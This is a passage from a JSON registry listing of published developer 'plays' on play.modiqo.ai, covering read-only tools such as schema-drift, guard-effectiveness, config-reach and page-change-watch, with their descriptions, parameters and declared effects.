directory","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:20e4870cf672c92e95a692c2c64f6edd375e54ae0ed44baf9815237b617b6beb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/schema-drift@1.1.3","reference":"lgoyal6/schema-drift@1.1.3","uri":"https://play.modiqo.ai/lgoyal6/schema-drift@1.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/schema-drift@1.1.3","name":"schema-drift","title":"schema-drift","description":"Your ORM model and your migration history are two descriptions of one schema, written by different people at different times, and they drift. The application then queries a column the database does not have - a run-time error on the query path, not at startup, so a suite that mocks the database never sees it. Both directions are reported, in seven tiers because they break seven different ways: a model field no migration creates; a NOT NULL the model thinks is nullable, which fails on INSERT rather than SELECT and is the most common production surprise; a type or length disagreement; a unique constraint enforced by application code alone, which two concurrent writers break; a one-sided foreign key; an orphan column nothing reads; and two migrations both creating the same column, which is what a badly resolved merge looks like. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-schema-audit","tool-static-analysis","effect-read-only","schema-drift","orm-vs-migration","missing-column","not-null-violation","type-mismatch","missing-unique-index","missing-foreign-key","prisma","sqlalchemy","django-models","runtime-query-error","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.1.3","published_at":"2026-09-06T01:01:28.292432+00:00","visibility":"public","quality_score":1,"size_bytes":41850,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the tree whose ORM models and migration history should be compared; a relative path is refused, because the step runs in the rote workspace rather than in your shell's directory","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search for models and migrations","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4f8e90694d3174b05e1020d7623a57e37b7651eb4514dc848ca8bbf5ed246ee1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/guard-effectiveness@0.1.3","reference":"lgoyal6/guard-effectiveness@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/guard-effectiveness@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/guard-effectiveness@0.1.3","name":"guard-effectiveness","title":"guard-effectiveness","description":"You installed hooks and permission rules to stop your agent doing something. Nobody ever checked whether they stop it, or what happens instead. This reconciles three answers for every guard on the machine. WHAT IT DECLARES: hooks with their matchers and timeouts across every settings scope and plugin, plus allow/deny/ask rules. WHAT IT ACTUALLY DID, from the transcripts, which record every firing structurally. The gap between the three is the finding. CRITICAL is reserved for a guard that PERMITS what it exists to forbid - a hook that prints nothing and exits 0 is indistinguishable from one that approved, and an allow-emitting hook that reads only the leading words of a shell command lets anything chained after a separator ride the approval. It EXECUTES NOTHING and TRIGGERS NOTHING: it never runs a hook, and above all never tests a guard by attempting the action the guard forbids. It therefore cannot prove any guard blocks, and says so. Env maps and argv become names before entering a record.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","operations-workflows","job-agent-guard-audit","tool-shell","effect-read-only","agent-guardrails","pretooluse-hook","posttooluse-hook","permission-rules","allow-list","deny-rule","fail-open","hook-matcher","claude-code","codex","session-transcripts","guard-never-fired","audience-developers","audience-security-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:15.766941+00:00","visibility":"public","quality_score":1,"size_bytes":47727,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to search for project-scoped guard declarations (.claude/settings.json, .claude/settings.local.json). A process.exec step runs in rote's own workspace, not the caller's shell, so a relative path would scan rote's workspace, find no project-scoped settings anywhere, and report a confident clean about the wrong tree; a relative value is refused with exit 2 and a message naming the fix.","example":"/Users/you/src"},{"name":"agent_home","type":"string","required":false,"default":"","description":"Absolute path to the home directory holding the harness config and the session transcripts (.claude/, .codex/). Empty means $HOME. Absolute for the same reason as root, and refused if relative.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for project-scoped settings files. Larger values cost time on a big tree and change nothing about the user-level guards.","example":"3"},{"name":"since_days","type":"string","required":false,"default":"0","description":"Only read session transcripts modified within this many days. 0 reads all of them, which is the honest default because a narrow window makes a guard that fired last month look like a guard that never fired - the single most costly false positive this play can produce.","example":"30"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:72903d7628043f40ec5b78662f57a9a74ae0066e58b48e17d104c9960216c444","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/config-reach@0.1.3","reference":"lgoyal6/config-reach@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/config-reach@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/config-reach@0.1.3","name":"config-reach","title":"config-reach","description":"A service has four or five places its configuration can come from - a .env, a values.yaml, a ConfigMap, a compose file, a Terraform variable - and nothing checks that they agree. The failure is a rename that landed in half of them. This reconciles every key a project DECLARES against every key its code actually READS, in both directions, across all of its configuration systems at once, which is the question no single-system checker can ask. Ranked by cost: a key read with no default and declared in NO system is critical, because the service dies on the first request that touches it; a key declared under one name and read under another is high; a declared value whose shape contradicts how the code parses it is high; dead configuration nothing reads is medium and is usually the other half of a rename. Every form static analysis cannot resolve - a key built at run time, one a platform injects - is excluded and counted with its reason rather than quietly dropped. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-multi-system-config-reconciliation","tool-helm","tool-terraform","tool-kubernetes","effect-read-only","config-drift","env-vars","dotenv","configmap","values-yaml","tfvars","cli-flags","process-env","undeclared-env-var","unused-config-key","missing-env-var","declared-vs-read","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T00:59:32.559883+00:00","visibility":"public","quality_score":1,"size_bytes":74053,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for projects. A relative path is REFUSED, because a step runs in rote's own workspace rather than your shell directory, so a relative root would scan rote's workspace, find no project, and report a confident clean about a tree nobody asked about.","example":"/Users/you/myservice"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to look for projects, so a directory of repositories is reconciled repository by repository","example":"3"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print per severity section before the rest are summarised as a count. Every finding is always COUNTED; this only bounds the listing.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:877f4a3f879e22a26b7c0ee7a01a4a649b7834af4db4a55e93b65f35f45b839a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/savarbhasin/github-pr-mergeability-monitor@0.4.0","reference":"savarbhasin/github-pr-mergeability-monitor@0.4.0","uri":"https://play.modiqo.ai/savarbhasin/github-pr-mergeability-monitor@0.4.0","manifest_uri":"https://play.modiqo.ai/savarbhasin/github-pr-mergeability-monitor@0.4.0","name":"github-pr-mergeability-monitor","title":"github-pr-mergeability-monitor","description":"Monitors a GitHub pull request with gh, hands review and CI fixes to the enclosing coding agent, and reports when the PR reaches a stable mergeable state.","owner":{"kind":"user","slug":"savarbhasin"},"registry_organization":"savarbhasin","tags":["github","pull-request","code-review","ci","mergeability","monitor"],"primary_domain":"domain-uncategorized","author":"savarbhasin","version":"0.4.0","published_at":"2026-09-05T22:40:10.348747+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7770,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["monitor"]},"parameters":[{"name":"pr_url","type":"string","required":true,"description":"Full GitHub pull request URL"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:08fe93402aa33e6f7c76a7d9479a735ffe429f3bdc19effe87ca053f3b5b14f0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/launchtruth-tools/launch-truth@0.1.1","reference":"launchtruth-tools/launch-truth@0.1.1","uri":"https://play.modiqo.ai/launchtruth-tools/launch-truth@0.1.1","manifest_uri":"https://play.modiqo.ai/launchtruth-tools/launch-truth@0.1.1","name":"launch-truth","title":"launch-truth","description":"Compares websites, README files, documentation, pricing pages, and launch listings for source-backed contradictions in product identity, promise, version, pricing, availability, CTA destinations, and trust links.","owner":{"kind":"org","slug":"launchtruth-tools"},"registry_organization":"launchtruth-tools","tags":["launch","consistency","pricing","cta","evidence","python","typescript"],"primary_domain":"domain-uncategorized","author":"dhiran4","version":"0.1.1","published_at":"2026-09-05T21:48:46.108315+00:00","visibility":"public","quality_score":1,"size_bytes":15445,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["parse_sources","analyze_sources"]},"parameters":[{"name":"sources","type":"string","required":true,"description":"JSON array of URL/path strings or {label,source} objects; semicolon/newline-separated strings are also accepted (2-12 sources)"},{"name":"expected_name","type":"string","required":false,"description":"Optional canonical product name; deviations are reported as contradictions"},{"name":"expected_version","type":"string","required":false,"description":"Optional canonical release/version identifier; source-backed deviations are reported as contradictions"},{"name":"check_cta_targets","type":"boolean","required":false,"default":"true","description":"Follow the primary CTA with a read-only GET to record redirects and reachability"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:56e7970364c2239365905f7570743c34d2d034bb7f41ce2d42357aa492e544d6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":6,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/portcheck@0.1.2","reference":"shambhavi/portcheck@0.1.2","uri":"https://play.modiqo.ai/shambhavi/portcheck@0.1.2","manifest_uri":"https://play.modiqo.ai/shambhavi/portcheck@0.1.2","name":"portcheck","title":"portcheck","description":"Checks whether a local TCP port is available for development.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["developer-tools","networking","debugging","local-development"],"primary_domain":"domain-uncategorized","author":"Shambhavi","version":"0.1.2","published_at":"2026-09-05T17:44:57.4336+00:00","visibility":"public","quality_score":1,"size_bytes":3212,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["check_port"]},"parameters":[{"name":"port","type":"integer","required":true,"description":"Local TCP port to check."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:742c6b58bc85b7d038024527df367a342afaf2fc9be3300bceff6c4784646d2f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/registry-owner-audit@0.0.2","reference":"aaryanp/registry-owner-audit@0.0.2","uri":"https://play.modiqo.ai/aaryanp/registry-owner-audit@0.0.2","manifest_uri":"https://play.modiqo.ai/aaryanp/registry-owner-audit@0.0.2","name":"registry-owner-audit","title":"registry-owner-audit","description":"Lists every published Play under a registry owner handle and runs play audit against each, reporting name, version, a derived quality score, declared writes, and a mutation heuristic.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["registry","audit","quality","plays","explore","search","all","one","output","summary","table","showing","whether","it","any"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.2","published_at":"2026-09-05T17:07:08.279212+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4741,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["list_owner_plays","audit_owner_plays"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"Registry owner handle to audit (e.g. a user handle or org slug)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d50a1a6442b8bda292fb038b5842d62485efcbb8236bbc9e8e854721095b0bcd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"rote","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/shambhavi/devfix@0.1.1","reference":"shambhavi/devfix@0.1.1","uri":"https://play.modiqo.ai/shambhavi/devfix@0.1.1","manifest_uri":"https://play.modiqo.ai/shambhavi/devfix@0.1.1","name":"devfix","title":"devfix","description":"Read-only repository failure triage with evidence-backed fixes.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["developer-tools","debugging","diagnostics","maintenance"],"primary_domain":"domain-uncategorized","author":"Shambhavi","version":"0.1.1","published_at":"2026-09-05T16:30:30.429742+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":5391,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["audit_repo"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Absolute or relative path to the repository to inspect."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:48f14a70361f7e9d598aa2d2793ca4bff96992017e5e179aeae1fd954fab6d03","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/logdigest@0.1.1","reference":"shambhavi/logdigest@0.1.1","uri":"https://play.modiqo.ai/shambhavi/logdigest@0.1.1","manifest_uri":"https://play.modiqo.ai/shambhavi/logdigest@0.1.1","name":"logdigest","title":"logdigest","description":"Compresses noisy application logs into clustered error evidence for faster debugging.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["developer-tools","logs","debugging","observability"],"primary_domain":"domain-uncategorized","author":"Shambhavi","version":"0.1.1","published_at":"2026-09-05T16:14:49.332791+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":2588,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["digest_log"]},"parameters":[{"name":"log","type":"string","required":true,"description":"Path to the log file to analyze."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9ad121d8acc82c18c901cde66c70673c7438a8c7c956d800e45b3f3152dc8046","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/envguard@0.1.1","reference":"shambhavi/envguard@0.1.1","uri":"https://play.modiqo.ai/shambhavi/envguard@0.1.1","manifest_uri":"https://play.modiqo.ai/shambhavi/envguard@0.1.1","name":"envguard","title":"envguard","description":"Audits repository environment configuration without modifying the repository.\nDetects environment variables used by application code, compares them with\n.env.example, and provides file/line evidence for undocumented variables.\n","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["developer-tools","environment","configuration","debugging"],"primary_domain":"domain-uncategorized","author":"Shambhavi","version":"0.1.1","published_at":"2026-09-05T16:14:44.218+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":7023,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["audit_env"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Absolute or relative path to the repository to inspect."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c6a605e39f889f37e30ee6c4da024eb93d28ae46bfbfcc5ce211d148aa96c682","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/jvxplaymaker/playguard@0.1.0","reference":"jvxplaymaker/playguard@0.1.0","uri":"https://play.modiqo.ai/jvxplaymaker/playguard@0.1.0","manifest_uri":"https://play.modiqo.ai/jvxplaymaker/playguard@0.1.0","name":"playguard","title":"playguard","description":"Compares a Play's declared and statically observed capabilities with the supplied task without executing the target Play.","owner":{"kind":"user","slug":"jvxplaymaker"},"registry_organization":"jvxplaymaker","tags":["rotekit","play-analysis","least-capability","developer-productivity"],"primary_domain":"domain-uncategorized","author":"jvxplaymaker","version":"0.1.0","published_at":"2026-09-05T15:48:36.575586+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":20783,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["analyze"]},"parameters":[{"name":"play","type":"string","required":true,"description":"Local or registry Rote Play reference to inspect"},{"name":"task","type":"string","required":true,"description":"Task the caller wants the target Play to perform"},{"name":"root","type":"string","required":false,"default":".","description":"Project root used to resolve local Play references and judge scope"},{"name":"debug","type":"boolean","required":false,"default":false,"description":"Show detailed parser and evidence diagnostics"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:44e54cdeff25630fbfab66546c72000afc7f1465774379ab329a06431e4576a4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/charan/page-change-watch@0.2.0","reference":"charan/page-change-watch@0.2.0","uri":"https://play.modiqo.ai/charan/page-change-watch@0.2.0","manifest_uri":"https://play.modiqo.ai/charan/page-change-watch@0.2.0","name":"page-change-watch","title":"page-change-watch","description":"Tells you what actually changed on a public page since the last time you looked, and stays quiet when nothing did. Point it at a competitor's pricing, a supplier's terms, an API changelog, a job board, a client's live site. It reads the page, keeps a small local snapshot, and on the next run reports the difference as facts rather than a diff: a price moved from one figure to another, a plan appeared, a paragraph is gone, links showed up that were not there before. Prices are matched by the text they sit beside rather than by position, so a re-ordered pricing table does not read as a change and a genuine rise does. Content that changes on its own - relative timestamps, dates, copyright years, view and star counters, session and request identifiers - is held out of the comparison, which is what stops a watch from crying wolf on every run and being ignored; anything else you do not care about can be excluded by substring. Each link that appeared since last time is opened in parallel so a new page is named by its title, not just counted. It also reads what the site itself publishes about freshness - Last-Modified, the sitemap lastmod for this exact URL, the newest entry in a feed - as an independent signal, and says so when there is none. The first run records a baseline and says so plainly rather than inventing a comparison. Read-only against the page: it makes GET and HEAD requests to the address you give it and writes one small snapshot file under your own rote home, whose path every report prints. No credentials, no browser, python3 only.","owner":{"kind":"user","slug":"charan"},"registry_organization":"charan","tags":["audience-developers","domain-web-operations","job-change-detection","effect-local-write","competitive-intelligence","monitoring","pricing","web-operations","scheduled","hackathon"],"primary_domain":"domain-web-operations","author":"charan","version":"0.2.0","published_at":"2026-09-05T10:59:57.185991+00:00","visibility":"public","quality_score":1,"size_bytes":22165,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":6,"names":["compare","fetch_now","freshness","load_previous","save_snapshot","probe_new_links"]},"parameters":[{"name":"url","type":"string","required":true,"description":"The page to watch. A bare host is upgraded to https, and redirects are followed to the address actually served.","example":"https://example.com/pricing"},{"name":"label","type":"string","required":false,"default":"","description":"Names this watch so its history is kept separately. Leave it out and the URL itself is the name. Give two watches the same label and they share one history, which is how you follow a page whose address changes.","example":"competitor-pricing"},{"name":"ignore","type":"string","required":false,"default":"","description":"Comma-separated substrings. Any line of the page containing one is held out of the comparison. Use it for the banner or widget on your particular page that changes for reasons you do not care about.","example":"cookie,newsletter"},{"name":"max_blocks","type":"string","required":false,"default":"400","description":"Cap on how many lines of the page are compared. A page with more says so rather than quietly comparing part of itself.","example":"400"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:05a7fdeb08e0910e3be78a871181d6e89ecfe8d205e77722ffc06be68376fec7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":6,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/last-session-autopsy@0.1.2","reference":"bhanu82/last-session-autopsy@0.1.2","uri":"https://play.modiqo.ai/bhanu82/last-session-autopsy@0.1.2","manifest_uri":"https://play.modiqo.ai/bhanu82/last-session-autopsy@0.1.2","name":"last-session-autopsy","title":"last-session-autopsy","description":"Reconstruct the last coding-agent session as a claim trial. Parses stated claims, fans out git/instruction/secret-name/failure/read/compaction probes, ranks the top three unverified claims, then walks a sequential load-check-record verify chain for each. CONTRADICTED keeps the claim and the evidence. Secret-shaped names are listed never opened. Relative paths refused. Read-only, zero keys, python3. Empty args run the bundled fixture pack.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-session-autopsy","audience-developers","agent-governance","daily-habit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.2","published_at":"2026-09-05T09:26:51.815395+00:00","visibility":"public","quality_score":1,"size_bytes":17041,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":20,"names":["probe_git","selfcheck","join_brief","probe_reads","rank_claims","verify1_load","verify2_load","verify3_load","parse_session","probe_secrets","verify1_check","verify2_check","verify3_check","discover_scope","probe_failures","verify1_record","verify2_record","verify3_record","probe_compaction","probe_instructions"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute git repo path. Empty uses the bundled fixture pack. Relative paths are refused.","example":"/home/user/my-repo"},{"name":"transcript","type":"string","required":false,"default":"","description":"Absolute JSONL transcript path. Empty uses the bundled session. Relative paths are refused.","example":"/home/user/.claude/projects/session.jsonl"},{"name":"claimed_summary","type":"string","required":false,"default":"","description":"Optional one-line claim the assistant made; empty reads claims from the transcript only","example":"read only; tests 